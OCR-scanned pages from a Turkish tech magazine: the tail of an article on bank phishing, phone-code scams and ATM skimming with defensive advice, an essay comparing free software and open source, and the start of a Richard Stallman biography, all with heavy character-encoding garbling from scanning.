Oltalama saldirilarimin oniine gegmek igin ne gibi calismalari-
mz var?

Sorusunu maalesef, bankalardan yalnizca birkagina sorabildik
ve aldigimiz yanit: “Bu konuda ¢alismalar yapiliyor fakat de-
taylar: hakkinda bir bilgiye sahip degiliz”, oldu.

Son yillarda telefonla oltalama saldirilarinin sayisinda da
ciddi bir artis goriilityor ki bu saldir1 yontemi, belki de olta-
lama saldirilar1 icerisindeki en tehlikeli saldiridir. Ornegin:
Gegtigimiz haftalarda birinci agizdan dinledigim bir oltalama
saldirisi soyle. Arayan numara kullandiginiz bir banka numa-
rasinin birebir aynist yalnizca sifirdan sonraki rakami farkl.
Bu numaradan araniyorsunuz. Bir sekilde isminiz, mesleginiz,
numaraniz ve hatta kimlik numaraniz dahi biliniyor. Arayan
sosyal mithendis, sizi bir bahane ile ve giivenlik i¢in biraz son-
ra telefonunuza SMS ile gelecek olan dogrulama kodunu, ken-
disi ile sesli olarak paylasmaksizin “dit” sesinden sonra tusla-
yarak girmenizi istiyor. Ne kadar da gercekgi degil mi? Sonrasi
mi1? Malumunuz... (3) Isin teknik tarafin1 merak edenler igin
anahtar kelime: DTMF (Dual Tone Multi Frequency)dir.

Peki bankalar bu durum i¢in neler 6neriyor?

Tarafiniza gelen bir telefon gériigmesine, SMSe ya da e-postaya
itimat ederek kritik ya da basit bir islem i¢in dahi dogrulamali
bir onay vermemeniz, en saglikli yol olarak; boyle bir durum-
da telefon goriismesini sonlandirip, bankanizi sizin aramaniz
ve web sitelerini yalnizca bizzat yazarak ulasmaniz 6neriliyor.

Tam da bu satirlar1 gozden gegirirken bir bankadan konu ile
ilgili bir e-posta geldi. :)

“Sosyal medya hesaplarinda karsilastiginiz reklamlarin banka-
mizin hesaplari iizerinden paylagildigindan emin olunuz. In-
ternet bankaciligina yalnizca www.bizimbank.com iizerinden
erisim saglayiniz. Kart aidati, masraf iadesi, sigorta iptali gibi
gerekgeelerle sizi arayan kisilerle bilgilerinizi paylagmayiniz.”

Kredi kart1 hirsizligina kars sigorta:

Ote yandan goriistiigiimiiz bu bankalardan birisi, kart bilgi-
lerinizin ele gecirilmesi ve izniniz disinda 6deme yapilmasina
kars1 sigortacilik hizmeti sundugunu séylityor. Yani “ctizi” bir
meblag karsiiginda, (50.000 TLye kadar yasanabilecek) bir
magduriyet icin bir sigorta hizmeti sagliyor. Hem de yalniz-
ca kendi bankasi icin degil, diger banka kredi kartlari i¢in de
gecerli bu hizmet fakat bu sigortadan faydalanabilmek i¢in o
bankaya ait bir kredi kartina sahip olmaniz sart kosuluyor.

*** ATM’lerden nakit cekim limitleri:
Bir¢ok bankanin ATM’lerden varsayilan giinliik nakit ¢ekim
limiti 1.500 - 2.000 TL olarak tanimlanmis durumda.

Bu limitin neden bu tutarlarda oldugunu sordugumuzda aldi-
gimiz yanitlardan 9/10’u, giivenlik gerekgesi nedeni ile oldu-
gunu soyliyor.

o Peki, Oyle ise neden daha fazla tutar ¢ekmek istedigimizde
bir miktar komisyon karsiliginda o tutar1 gekebiliyoruz.

« Oops...Dilerseniz bu limiti subemize bagvurarak yiikselte-
bilirsiniz, yanitini alryoruz.

Birkag banka hari¢ hepsi bu limit artisina miisade ediyor.

--- Bu limit nakit ¢ekim limiti olarak tamimlanmgstir ve
alisverislerde boyle bir kisitlama yoktur. ---

*** ATM’lerde kart kopyalama vakalari:

Mutlaka duymussunzudur: “ATM’lerden para cekerken dik-
kat!”, “ATM’lere kart kopyalayici aparatlar yerlestirdiler!” vs.
Haydi, oltalama saldirilarini falan anladik. Peki bu durum i¢in
ne diyor bankalar?

Sorumluluklarini kabul ediyor ve genel olarak yasanan mag-
duriyetleri giderdiklerini dile getirseler de tabii bu konuda da
bir garanti vermiyorlar. Goriistiigtimiiz bankalardan birisi,
ATM’lerin her giin - diizenli olarak kontrol edildigini ve ka-
meralarla da daha giivenli kilmaya ¢alistiklarini ifade ettiler.

--- Bu risk yalmzca ATM lerde degil, iiye isyerlerinde de soz ko-
nusudur. ---

Miimkiinse bu gibi durumlarin éniine gegmek icin bankaniz
tarafindan islem oOncesi ve sonrasi icin SMS bilgilendirmesi
talep edebilir ve aktif bir sekilde hesap hareketlerinizi takip
edebilirsiniz.

--- Kuruglari ¢alarak zengin olan hacker geldi aklima. :) Bu
vaka, hesap hareketlerini takip ederken 20-30 kurusun neden
kesildigini anlamayan ve bankaya itiraz eden bir kadin sayesin-
de ¢oziilmiistii. ---

Kullandiginiz uygulamalar iizerinden oltama

saldirilari:

Oltalama saldirisina tarayicilar {izerinden bir 6rnek, genellikle
anketler {izerinden yapiliyor. Kullandigimiz tarayiciya gore il-
gili gorseli - temay1 cagiriyor, birkag soru ile sizi hizlica sonuca
ulastiriyor ve sonrasi, bingo!
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, 2019 Yillik Ziyaretci Anketi (Istanbul)

Firefox: Kullanici Anketi

23 Mart, 2019

Anketimizi tamamladiginiz igin tesekkiirler! Katliminizdan
dolayl asagidakileri size sunuyoruz: Cumartesi, 23 Mart, 2019.
Litfen asagidan secim yapin (1) sadece bugun:

Samsung
Galaxy S9

Kalan Miktar: [E} Buraya Tiklayin &
Normal Fiyat:

§348-TL
Sadece Bugun:
Odiil

Ekstra oneriler:

Bir sisteme giris yaparken size ait olmayan ya da giivenme-
diginiz (public) aglar tizerinden login olmayiniz. Peki neden?
Gonderdigimiz her istek ag tizerinden gittigi i¢in verilerimizin
ele gecirilme riski s6z konusudur. Bu gibi durumlarda mobil
ag baglantis1 tizerinden giris yapabilir, alternatif olarak VPN
kullanabilirsiniz.

3. parti uygulamalar: Telefonumuza kurdugumuz uygulama-
lara ve bu uygulamalarin bizden istedigi izinlere dikkat et-
meliyiz. Orn: Bir kamera uygulamasinin rehberimizle ya da
mesajlarimizla ne ilgisi olabilir ki bunlara da erigmek istiyor?

Giivenli giinler...
Bkz:

(1) http://www.resmigazete.gov.tr/eski-
ler/2007/09/20070914-1.htm

(2) Sahibinden ¢ok kullanilmis dolandiricilik hikayeleri

(3) Bir oltalama araci olarak telefon
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Acik Dunyada

azilimlardan sz ederken genellikle unutulan asil nok-
Yta yazilimin lisansi olur. Yazilim lisanslar1 aslinda, var

olan yazilimin ideolojisini, giivenirligini, ticari kulla-
nimin: ve dagitim metotlarini tanimlar. Bir¢ok farkli lisans-
lama tiirii mevcut fakat bu yazida, Google'n, Trump’in kara
listesi nedeniyle Huaweinin Android hizmetlerini durduma-
s1 lizerine ortaya ¢ikan: “Ee Android agik kaynak degil miydi,
Huawei neden kullanamayacak?” ve tiirevi sdylemlerin ortaya
¢ikmasi tizerine, genellikle ayni olguyu ve kapsamlari belirt-
tikleri sanilan ya da karistirilan 6zgiir yazilim ve agik kaynak
kavramlari tizerinden yiiriitecegiz.

Ozgiir yazilim felsefesi ve onu temel almig 6zgiir yazilim ha-
reketi, acik kaynak hareketinin tarihsel olarak 6niinii agt1 ve
acik kaynak hareketinin sahip oldugu teknolojik, yasal, meto-
dolojik ve ideolojik kavramlari edinmesinde biiyiik rol oynad.
Buna ragmen, ézgiir yazilim ve agik kaynak dedigimizde iki
yaklasimin da ayni hareketi ve olguyu ifade ettigi bir durum
soz konusu. Peki ayni olguyu ifade ediyorlarsa, neden ayni
hareket i¢in iki ayr1 kavram kullaniyoruz? Bu sorunun cevabi
tarihsel bir siire¢ ve olusumlar arasinda kurulan yakin iligki-
lerdeki ntianslarda gizli. Bu nedenle, iki bashg: kiyaslarken,
hem toplum hem de egemen medyada yanlis aksettirilen bir-
kag kavrami da dahil edip, karsilastirma ve tanimlamalarimizi
bu perspektiften yiiriitecegiz.

1. Hack, Hackerlar ve Hacker Etigi

[lk bilgisayar sistemleri, 1940’larda ve 1950’lerde esasen as-
keri ve bilimsel amaglarla yapildi. Bilgisayarlar1 kullanmak
ve incelemek i¢in en eski arastirma enstitillerinden biri, Mas-
sachusetts Teknoloji Enstitiisitdiir (MIT). MITdeki yapay
zeka (AI) laboratuvar: 1958de kuruldu ve bilgisayar bilimi
ve bilgisayar kiiltiiriiniin dogum yerlerinden biri oldu. Hack
kavramu ilk yillarda MIT 6grencilerinin aralarinda yaptiklari
sakaya verilen isim olarak ortaya ¢ikti. 1970’lerde MIT'de bu-
lunan 6grenci kuliibii Tech Model Railroad Club, kampiisteki
tek elektro-mekanik kumanda sistemleri ile yonetilen model
demiryolu agina sahipti. Kuliip biinyesinde elektronik cihaz-
lara ilgi duyan bir¢ok 6grenci bulunuyordu. Bir siire sonra 6g-
rencilerin kuliip etkinliklerindeki katkilari, elektro-mekanik
kumanda sistemi ile model demiryolu ag1 tizerinde yaptiklar1
diizenlemelerin basit ve etkili olmasi {izerinden degerlendiril-

Ozgiir Olmak

meye baslanmisti. Bu ylizden, hack kavrami da bir stire sonra
“basarili ve etkili ¢coziimler gelistirme” seklinde evrildi. Daha
sonralar1 bilgisayarlarin yayginlagsmasiyla yasanacak olan tek-
nik ve teknik olmayan tiye ayrimi tizerindeki tartisma Hacker
kavramini doguracakti.

Bilgisayarlarin yayginlagmas: sadece bilgisayar devriminin
degil, bu devrimden dogacak kiiltiirlerin de baslangici ola-
rak kabul edilebilir. Bu yayginlasmanin dogurdugu kiiltiir:
“Bilgisayarda yapilabilecek her tirlii iyilestirme, gelistirme
ister donamm ister yazilim olsun amagladigim yerine getire-
biliyorsa ve bunu da olabilecek en iyi sekilde yapiyorsa bu bir
“hack’tir. Bunu yapan kisi de yasi, cinsiyeti vs dikkate alinmak-
sizin toplulugun saygisini kazanir ve topluluk tarafindan ba-
sarisini gosteren bir tinvan yani diger bir deyisle “hacker” ola-
rak adlandirilir”' seklinde tanimlanabilir. MIT hackerlarinin
aralarinda olusturdugu etik kavramini Steven Levy 1984’te su
maddelerle tanimladi*:

1. Sistemlere, donanima ve bilgisayarlara erigim
kisitlanamaz. Bireyler, bir sistemin, teknolojinin nasil
isledigini 6grenmekte 6zgiirdiirler.

2. Bilgi (enformasyon) 6zgiirdiir. Bilginin tiretilmesi,
tiretilen bilginin yayginlastirilmasi tizerinde bir kisitlama
kabul edilemez.

3. Otoriteye giivenmeyin. Bask: her zaman otoriteden
kaynaklanir. Giig tek bir noktada toplanmamalidir.

4. Eserleriniz, yaptiklariniz, bagarinizi sizi degerli kilar.
5. Bilgisayarlar kullanilarak giizel ve iyi seyler yapilabilir.

6. Bilgisayarlar yasaminizi olumlu yonde gelistirir.

Bilgisayarlarin yayginlagmasiyla programlar giinimiizdeki
gibi yazihmeailar tarafindan degil kullanicilar tarafindan delik-
li kagitlar? iizerine gelistiriliyordu. Bu ytlizden bilgisayar prog-
ramlari, bilimsel topluluk tarafindan olusturulan herhangi bir
bilgi gibi ele alindi. Yazilim herkesin kullanmasi, incelemesi
ve gelistirmesi i¢in serbestti. Yani programlara bir yandan hi¢
kimse sahip degildi, diger yandan da toplulugun ortak miilki
idi.

1Hack Kiiltiirii ve Hacktivizm: Yeni bir Siyaset Bi¢imi - Alternatif Bilisim (2013

s.13
2Hackers: Heroes of the Computer Revolution - Steven Levy (2010)

3https://en.wikipedia.org/wiki/Punched card




1970’lerde yazilimin iiretilmesi daha karmagik ve pahali hale
geldikge, yazilim sirketleri, gelir akislarini korumak ve rakip-
lerin uygulamalarina erisimini engellemek i¢in kaynak kodu
dahil olarak géndermekten vazgecti ve bir ¢cok kisitlama ve te-
lif so6zlesmeleri eklediler. 1980’lerin baslarinda, MIT'de bulu-
nan Al laboratuvarinda, bazi hackerlar laboratuvarda gelistiri-
len teknolojiyi barindiran bilgisayarlar: satmak i¢cin Symbolics
adli bir sirket kurdular. Sirketi kuran hackerlar, bilgisayarla-
rindaki yazilimin ticari bir sir olarak kabul etmesi biiyiik bir
krize neden oldu. Topluluk ve topluluk kiiltiirii yok edildi.
Richard Stallman daha sonra kendisini “0lii bir kiiltiiriin son
kurtulani” olarak tanimlayacakt1.

Stallman, burada yazilim miilkiyeti agisindan dogabilecek bir
sorunu ongordil. Al laboratuvarinda dayanisma, isbirligi ve
paylasim ruhu vardi. Bu ruh kendini kisitlamalara birakmigt
fakat bilginin kaynagina olan kisitlamalar insanlarin birbirle-
rine nasil yardim edebilecegi konusunda da kisitlamalar geti-
riyordu. 1983 yilinda Stallman, kullanicilarina kaynak kodunu
goriintilleme, degistirme ve paylasma ozgirliigii saglayacak
eksiksiz bir isletim sistemi olusturma niyetini ilan eden GNU
(GNU is not UNIX) Manifestosunu yayimladi. Proje ilgi gor-
dii ve Stallman gelistiricilerin katkilarini projeye dahil etmeye
baslad1. Sistem kiitiiphanesi, kabuk, C derleyici ve bir metin
editorii dahil olmak tizere bir isletim sisteminin ana bilesen-
leri gelistirdi. Ancak, Stallman’in isletim sisteminin ¢ekirdegi,
Linus Torvalds'n 1991de Linux ¢ekirdegi iizerinde ¢aligmaya
baslayana kadar hala eksikti.

2. GNU Manifestosu ve Ozgiir
Yazilimin Dogusu

Ozgiir yazilim hareketi biiyiik 6lgiide Richard Stallman’in
bulusudur. Richard Stallman GNU manifestosundaki moti-
vasyonunu, lisansh yazilimlarin toplum odakli yazilim gelis-
tirmeyi 6nledigini, inovasyonu siglastirdigini ve teknolojinin
ilerlemesinin yavaslattigini éne siirerek agikladi. GNU projesi
hem 6zel lisansh yazilimlarin yiikselisine hem de énceki do-
nemlerde isbirligine dayali yazilim gelistirmenin engellemesi-
ne bir cevap olarak goriilmelidir. Stallmanin GNU Manifesto-
swndaki (1983) temel argiimani, “Yararl bir program, ihtiyaci
olan herkesle paylasilmalidir” olmustur. Onun bu niyeti kapi-
talizm ya da ticaret karsit1 olmak degildi, sadece 6zel yazilim-
larin toplum ve isbirligi izerinde yarattig1 etik problem tizeri-
ne bir bagkaldirtydi. Bu argiimandan yola ¢ikarak 1985 yilina
dondigimiizde, Stallman, 6zgiir yazilim kavramini daha
genis kitlelere tanitmak amaciyla, kar amaci giitmeyen Oz-
giir Yazilim Vakfr'ni (Free Software Foundation - FSF ) GNU
projesi Uzerine kurdu. Stallman, programlardaki telif hakk:
probleminin getirdigi kisitlamalar nedeniyle, “insanligin or-
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taya ¢ikardigi servet miktarinin” azaldigini ileri stirityordu. Bu
yiizden, daha sonra, son kullanicilarin kaynak kodunu 6zgiir-
ce galistirma, goriintiileme ve paylagsma haklarini garanti eden
bir yazilim lisanst olan GNU Genel Kamu Lisansim1* (GPL)
da gelistirecekti.

ESF’ye gore, bir yazilimin tamamen “6zgiir” sayilmas i¢in, li-
sansinin kullanicilarina dort temel 6zgiirligii garanti etmesi
gerekir:

1. Herhangi bir amag i¢in yazilimi ¢alistirma 6zgiirligi (0
numarali ozgiirliik).

2. Her ne istiyorsaniz onu yaptirmak i¢in programin nasil
calistigini 6grenmek ve onu degistirme 6zgiirliigii (1
numarali 6zgiirlitk). Kaynak koduna erigsmek, bunun i¢in
bir 6n kosuldur.

3. Kopyalar1 dagitma 6zgiirliigii. Béylece komsunuza yardim
edebilirsiniz (2 numarali 6zgiirliik).

4. Tum toplumun yarar saglayabilecegi sekilde programi
gelistirme ve gelistirdiklerinizi yayinlama 6zgtirligi (3
numaral: 6zgiirliik). Kaynak koduna erismek, bunun i¢in
bir 6n kosuldur.

3. Acik Kaynak Hareketi Nasil
Olustu?

Stallman, kullanicilarin uygun gordiikleri sekilde kaynak ko-
dunu degistirme ve paylasma konusunda 6zgiir olacag: fikri-
ni ifade etmek i¢in “6zgiir yazilim” (Free Software) ifadesini
se¢misti fakat Ingilizcede free kelimesi “iicretsiz” anlamina da
gelmesi hareket {izerinde negatif sorunlar doguruyordu. Bu,
insanlarin 6zgiir yazilmin aslinda bedava yazilim anlayigini
edinmelerini sagliyordu. Bu yiizden Ozgiir Yazilim Vakfi, isim
secimlerini “Yazilimi “6zgiir” olarak adlandirdigimizda, kulla-
nictnin kendi temel 6zgiirliigiiyle ilgili oldugunu ifade ediyoruz.
Bu bir ozgiirliik meselesidir, fiyat degil. Bu yiizden “bedava bira”
olarak degil “konusma ozgiirliigii” gibi diisiinmelisiniz.” seklin-
de agiklamak durumunda kaliyorlardi. 1990’larin sonlarina
dogru, bazt GNU Linux meraklilar1 arasinda, bu ikili anlamin,
kullanicilarin 6zgiir yazilimin arkasindaki felsefeyi ve lisansh
yazilimlar Gizerindeki avantajlarini kagirmasina neden olacagt
konusunda artan bir endise vardi. Bunun diginda FSF’nin li-
sansli yazilimlara kars sert bir tutumu mevcuttu. Bazi 6zgiir
yazilimin hareketi tiyeleri, dost¢a olmayan bu tavra kars1 ¢iki-
yor ve endiselerini dile getiriyorlardi.

1997de 6zgiir bir yazilim savunucusu ve gelistiricisi olan Eric
S. Raymond, ¢esitli 6zgiir yazilim projelerinde kullanilan iki
farkli gelistirme modelini karsilastiran, genis ¢apta alintilar

4https://linux.org.tr/gpl/
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yapan bir makale olan Katedral ve Pazar1 yazdi. Raymond
“Katedral” ile GNU Emacs’in gelisimini, topluluga dayals,
yukaridan asagiya (top-down) gelistirme modeli iizerinden
ifade ederken, “Pazar” ile de Linux ¢ekirdeginin gelisimi i¢in
oldugu gibi, kodun internet tizerinden halka a¢ik bir gekilde
gelistirildigi bir yontemi ifade etti. Kisaca Raymond, daha
fazla insan kaynak kodunu goriintiileyebildigi ve denetleye-
bildiginden, Pazar modelinin yazilim hatalarini bulmakta ve
¢ozmede dogal olarak daha etkili oldugunu ve topluluk odak-
l1, asagidan yukariya(bottom-up) gelistirme siireci kullana-
rak, daha giivenilir yazilimlar elde edilebilecegini savundu.
1998de kismen Katedral ve Pazardaki fikirlerine ispat olarak
Netscape Communicator web tarayicisinin (daha sonra Mo-
zilla Firefox’u olusturan) kaynak kodunu a¢ik kaynak olarak
yayinladi. Netscape’in acik kaynak stiriimiinde gordiigii tica-
ri potansiyelden esinlenen Raymond, Linus Torvalds, Philip
Zimmerman ve digerleri 6zgiir yazilim hareketini yeniden
markalastirmak icin etik ve felsefi bagladan uzaklastirmaya
calist1. Ekip daha sonra kendilerine ortak ¢aligmaya ve toplum
odakl gelistirme dayali, 6zgiirce paylasilabilir yazilim umu-
duyla “Acik Kaynak” ifadesini benimsedi.

Kisa bir siire sonra, A¢ik Kaynak Girisimi (Open Source Initi-
ative) Raymond ve Bruce Perens tarafindan hem yeni terimin
kullanimini hem de agik kaynak ilkelerinin yayilmasini tesvik
etmek icin kuruldu. agik kaynak girisimi ayrica agik kaynak
tanimini gelistirdi ve yazilimin lisansinin agik kaynak olarak
kabul edilmesi i¢in uymas: gereken prensipleri belirledi. Bu
tanimlamara https://opensource.org/docs/osd adresinden
ulagabilirsiniz.

4, Sonug: Politik yaklasim mi
yoksa bir gelistirme modeli mi?

Cogu insan igin, “6zgiir yazilhim” ve “acik kaynakli yazilim” ara-
sindaki anlam farkini géz ard: edilebilir fakat simdiye kadar
gortldigi tizere 6zgiir yazilim felsefesi, bir programcinin 6z-
giirliigii ve gereksinimlerinin tesine geger. Ozgiir yazilimda
temel odak aslinda 6zgiir bir toplumu hedeflemektedir, dola-
yistyla sosyal bir harekettir. Ote yandan, agik kaynak hareketi
Ozgiirligi bu baglamdan uzak bir tavirla, ¢ikis noktas: ve ni-
teledikleri geregi belirli kisiler (6rn: gelistiriciler) adina hedef-
lemektedir. A¢ik Kaynak hareketinin motivasyonu, yazilimin
nasil daha iyi gelistirilecegi ve miilk sahibi rakiplerin haksiz
avantaj elde etmesini 6nlemek i¢in bir gelistirme modeli (6rn:
pazar) sunmaktir. Dolayisiyla, yazilimi “Ozgiir yazilim” ya da
“Acik kaynak” olarak adlandirmak arasinda rasyonel bir fark
bulunmaktadir.

Ozgiir yazilim ya da agik kaynak hareketlerinin motivasyon-
lar1 ve neyi ifade ettiklerinin anlasildigini umarak, belirli bir
yazilimun, 6zgiir yazilim ya da agik kaynak bir yazilim olup ol-
madig1 gelecek olursak. Bu yazilimin hangi lisans altinda dag1-
tildig1 ve lisansin Agik Kaynak Girisimi, Ozgiir Yazilim Vakfi
veya her ikisi tarafindan onaylanip onaylanmadigina baghdir.
Hangi lisanslarin hangi kurulus tarafindan onaylandig ara-
sinda ¢ok fazla ortiigme var fakat birkag farklilik bulunmak-
tadir. Eger projeleriniz i¢in hangi yazilimin daha uygun olaca-
gina karar vermek icin Ucretsiz Yazilim Vakfrnin hem 6zgiir
lisanslar1 hem de 6zgiir olmayan lisanslar1 inceleyen detayl
lisans listesini inceleyebilirsiniz.

Kisaca yazinin ana kaynagi olan soruya gelirsek, “E, Andro-
id agik kaynak degil miydi, Huawei neden kullanamayacak?”.
Tarihsel siirece baktigimizda durum ¢ok net goriilmekte fa-
kat yine de bazi noktalara deginmekte fayda var. Evet Android
acik kaynak, tistelik Linux gekirdegini kullanmakta fakat ke-
sinlikle 6zgiir degil. Google, 2005’te Android’i satin aldiktan
sonra sirket politikalar1 geregi tizerini miilk/tecilli yazilimlar
ve servislerle doldurdu. Ote yandan, gelistiricileri ve sirketleri
de buna dahil ederek, tigiinctil kisiler tarafindan yazilan uy-
gulamalar ve servisleri de miilk yazilim olarak kendi servisleri
tizerinden sundu. Dolayisiyla Google, Android’i tekeline dahil
etti. Gelecek Huawei, Google, ABD, Cin ve 6zgiirlesemeyen
diinya tilkeleri i¢in ne gosterir bilinmez fakat 6zgiir yazilim-
larin bu tip durumlarda ilk tercih olmasi, giivenlik, giivenirlik
ve arkasinda yatan sosyal felsefe bize 6zgiir yazilimlarin her
gecen giin 6neminin arttigini gostermektedir.

Not: Bu makale yazilirken sadece “Ozgiir yazilim” ve “Agik
kaynak” hareketi ele alinmis, miilk/telif yazilimlara deginil-
memistir. Bunun sebebi, her iki hareket de miilk/telif yazilim-
lara kars1 yeterince iyi argiimanlar sunmaktadirlar. Bu yiizden
yazinin sonuna, hem 6zgiir yazilim ve agik kaynak arasindaki
iliskinin hem de bu kiiltiirlerin miilkiyet, lisans ve patent ko-
nularma bakis agilarinin daha detayina inmek isteyenler i¢in
ufak okuma 6nerileri birakilmistir.

Okuma 6nerileri

GNU Bildirgesi

Ozgiir Yazilim, Ozgiir Toplum - Richard Stallman

Neden Acik Kaynak Ozgiir Yazilimin Noktasini Kaciriyor? - Ric-
hard Stallman

Hacker’ligin Kisa Tarihcesi - Eric S. Raymond

Noosferi Iskana Acmak - Eric S. Raymond

Hackers: Heroes of the Computer Revolution - Steven Levy

Hack Kiiltiirti ve Hacktivizm: Yeni bir Sivaset Bicimi - Alternatif
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ESKI
HACKERLARDAN

KIM KALDI?

RICHARD MATTHEW STALLMAN

“Ozgiirliik ve bilginin yayilmas: gibi seyler basarimn dtesindedir. Kigsisel basari yanhs degildir
ama onemi kisithdir, ve yeterince sahip olsaniz bile dogruluk, giizellik ve adalet yerine daha

fazla basari i¢in ¢abalamaya devam edersiniz.”

-Richard Matthew Stallman

rafi serisinin tigiincii kismina hosgeldiniz. Hatirlayaca-

giniz iizere bu serinin ilk iki yazis1 Arka Kap: Derginin
3. ve 5. sayilarinda yer bulmustu. Unutulmaz efsaneler Bill
Gosper ve Richard Greenblatt’in hayatlarina géz atmus, hacker
kiltiiriiniin ne oldugundan ve nasil ortaya ciktigindan bah-
setmistik. O yiizden bu yazida da bahsi gececek olan MIT Al
Lab, TMRC, PDP, TX-0 gibi kavramlar hakkinda daha detayli
bilgileri bu yazilarda bulabilirsiniz. Daha 6nce sayfalarimizda
hayatlarini canlandirdigimiz kisiler, MIT'de 6grenim goérmiis
(R. Greenblatt'in 6grenimini tamamlamadigini hatirlatalim),
60’11 yillarin ustalari, birinci dalga hackerlardir'. Birinci dal-
ganin ardindan bu yazimizda ikinci dalga hackerlardan olan
bir efsaneyi konu alacagiz. C programlama dilinin yaraticist
Dennis Ritchie ile ayn1 donemin mensubu Emacs azizinden
bahsediyorum, evet. Karsinizda RMS!

S ayin okurlarimiz eski hackerlardan bahsettigimiz biyog-

Richard Matthew Stallman (kendisine hitap edilme sekli ve
herkesce bilinen kullanici ad: ile RMS ya da rms) 16 Mart

1 https://www.cs.utah.edu/~elb/folklore/afs-paper/node3.html

1953’te, New York
Cityde diinyaya gel-
mistir. Annesi Ogret-
men babas1 basim sim-
sart olan Stallmanin
bilgisayarlara olan
ilgisi aslinda kiigtiklii-
giinden gelmektedir.
Ortaokul  civarinda
gittigi bir yaz okulun-
da danmismanlarindan 6diing aldig: el kitaplarini (IBM 7094
hakkindakiler gibi) okurdu. Yine lisedeyken Rockefeller Uni-
versity Biyoloji Departmaninda goniillii asistanlik yapiyordu.
Hocalar1 her ne kadar Stallmanin fizik ve matematikten ziya-
de biyolojiye yatkin oldugunu diisiiniiyor olsalar da Stallman
icinde baska bir tutku barindiriyordu ve bu tutkusunu gelisti-
rebilecegi bir yer bulmustu. Manhattandaki bir bilisim mer-
kezinde bol bol egzersiz yapiyor, gittikge isin ehli oluyordu.
Bu sayede assembly dillerinde, isletim sistemleri ve editorler
konusunda bir uzman haline gelmisti. Liseden mezun oldugu
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yaz, IBM New York Scientific Center icin FORTRANda bir
niimerik analiz programi yazacagi bir is ald1. Bu gorevi birkag
hafta icinde bitirdikten sonra ise IBM 360 i¢in PL/I dilinde
onislemci yazdi.

Richard Matthew Stallman Haziran 1971de Harvardda 6gre-
nimine bagladi. Matematik ve fizik konusunda hayli basarili
olan Stallman, Harvarddaki Math 55 adli Ileri Kalkiiliis ve Li-
neer Cebir dersindeki becerileriyle bilinmeye baslamisti bile.
Bill Gosper, Richard Greenblatt gibi efsanevi TX-0 hackerla-
rinin bulup, tohumlarin: atip yetistirdigi Hacker Etigine karsi
biiytik bir yakinlig1 gelismeye baslayan Stallman, prensiplerini
ylriitme konusunda adeta bir militan gibiydi. Hal béyleyken
yollar Massachusettse - MIT ye ¢ikmigst1. Harvarddaki ilk yili-
nin sonlarina dogru MIT AI Labde programeci olarak ¢aligma-
ya baslamis ve kisa siirede buradaki hacker cemiyetinin miida-
vimlerinden biri haline gelmisti ~ bas harflerinden olusan rms
kisaltmasi ilk olarak bu zamanlarda AI Labde ortaya ¢ikmustir.
Vaktini, hayatin1 hacklemeye adamis insanlarla gegirmeyi ¢ok
seviyordu. Burada Gosper ve Greenblatt'in dizinin dibinden
ayrilmayan RMS Al Labdeki filozofi ve yapict anarsizmi ye-
rinde gozlemliyordu. Tech Square’in 9’uncu katinda bulunan
AT Lab birinci dalga hackerlarin sayesinde adeta bir hack ta-
pmnag idi ve bu manastir Stallman’n tam da olmasi gereken
yerdi. Stallman 1974 yilinda Harvarddan Fizik BA diplomasi
alarak onur belgesiyle mezun olmustur. Mezun olduktan son-
ra Harvardda devam etmek yerine MIT"ye gecip burada fizik
tstiine yiiksek lisans yapmaya baslasa da Al Labdeki prog-
ramlama iglerine daha ¢ok odaklanabilmek icin bu egitimini
ilk yilinda birakmistir. Bu sirada bir diz sakatlig1 gegirdikten
sonra Stallman o ¢ok sevdigi folklorii oynayamaz olmustu, bu
nedenden 6tiirii basardiginda kendini 6diillendirilmis his-
settigi seye, programlamaya olan duygulari, baglhilig1 daha da
gelismistir®. 1975 yilinda Gerry Sussman’in yaninda aragtirma
gorevlisi olarak calist1 ve 1977'de ise truth maintenance systems
tizerine bir bilimsel makale yayinladilar.

Gelgelelim donemin en tinlii rms eserine: emacs. Emacs, Stall-
man tarafindan gelistirilmis, oldukea a¢ik bir mimariye sahip,
kisisellestirilebilir bir text editoritydii (sonralarda Emacs Ki-
lisesi kurulup Stallman da burada Aziz IGNUcius adi ile aziz
olmugtur). Stallman emacs’i yazdiklar: her yeni eklentiyi geri
vermeleri karsiliginda isteyen herkese {icretsiz olarak dagi-
tiyordu. Boylece siirekli gelisen ve alip verme sistemi {izeri-
ne dayali bir emacs toplulugu gelisiyordu. Stallman MIT Al
Labde galigtig1 bu siralarda TECO (Text Editor & Corrector)
ve Lisp Makinesi Isletim Sistemi gibi farkli projelerin gelis-
tirilmesinde de yer almistir. Yine 1977 yilinda Stallman’in
uzun siire karsisinda duracag bir sey oldu: bilgisayarlara La-
boratory of Computer Sciences - LCS (Bilgisayar Bilimleri

2 http://www.computinghistory.org.uk/det/1794/Richard-Stallman/

Laboratuvari) tarafindan bir parola kontrol sistemi kurulup,
bu sisteme parolalar atanmigti. Bu sisteme gore kayith olma-
yan kullanicilar sisteme giremiyorlardi. Parolalar1 hi¢ mi hi¢
sevmeyen Stallman gergek bir hacker olarak bu olguya karsi
¢ikmis ve insanlar1 parola olarak bos dizgi tanimlamalarina
tesvik etmistir (boylece parola sorgu ekraninda enter’a basarak
sisteme direkt girebilirlerdi). Bilgisayarin sifreleme kodunu
kirdiktan sonra kayitli herkese parolalarini satir bag1 karak-
terine dondiirmelerini sdyleyen ve parolalarinin yalin metin
halini igeren mesajlar gondermeye basladi. Toplulugun beste
biri Stallmania katilsa da LCS bu sefer daha karisik bir paro-
la sistemi yiikledi. Stallman onun da etrafindan ge¢menin bir
yolunu buldu derken AI Lab bilgisayarlara erisimini kararli
bir sekilde kisitladigt igin Savunma Bakanhiginin ARPAnet
agindan cikarilma tehdidiyle yiizytize geldiler. Bu; hackerlar,
kullanicilar ve eski toprak bilgisayar bilimcilerin aktif olarak
i¢cinde bulundugu o dijital topluluktan ¢ikacaklari anlamina
geliyordu. Eski hackerlardan pek de kalan yoktu - ¢cogu, nere-
deyse hepsi birer birer mezun oluyor ya da ise giriyor ve dyle
ya da boyle gidiyordu. Anlayacaginiz pek destegi kalmamisti
Stallmanin fakat yazilimlarin ticretsiz ve 6zgiir olmasi diigiin-
cesini Olesiye savunan Stallman bu isin yakasini kolay kolay
birakmayacaktl. RMS’in 1983’te soyledigi gibi:

“Yazilimin sahip olunabilecek
bir sey oldugunu diisiinmiiyo-
rum. Bu, olayin kendisi bagsh
basina tiim insanhga yapilan
bir sabotaj gibi. Bu, insanlari
programlarin varolus amacin-
dan maksimum yarar saglama-
sidan alikoyar.

Zaman gecmigti ve Al Lab '
ssizlagmus, ayakiistii  sohbet
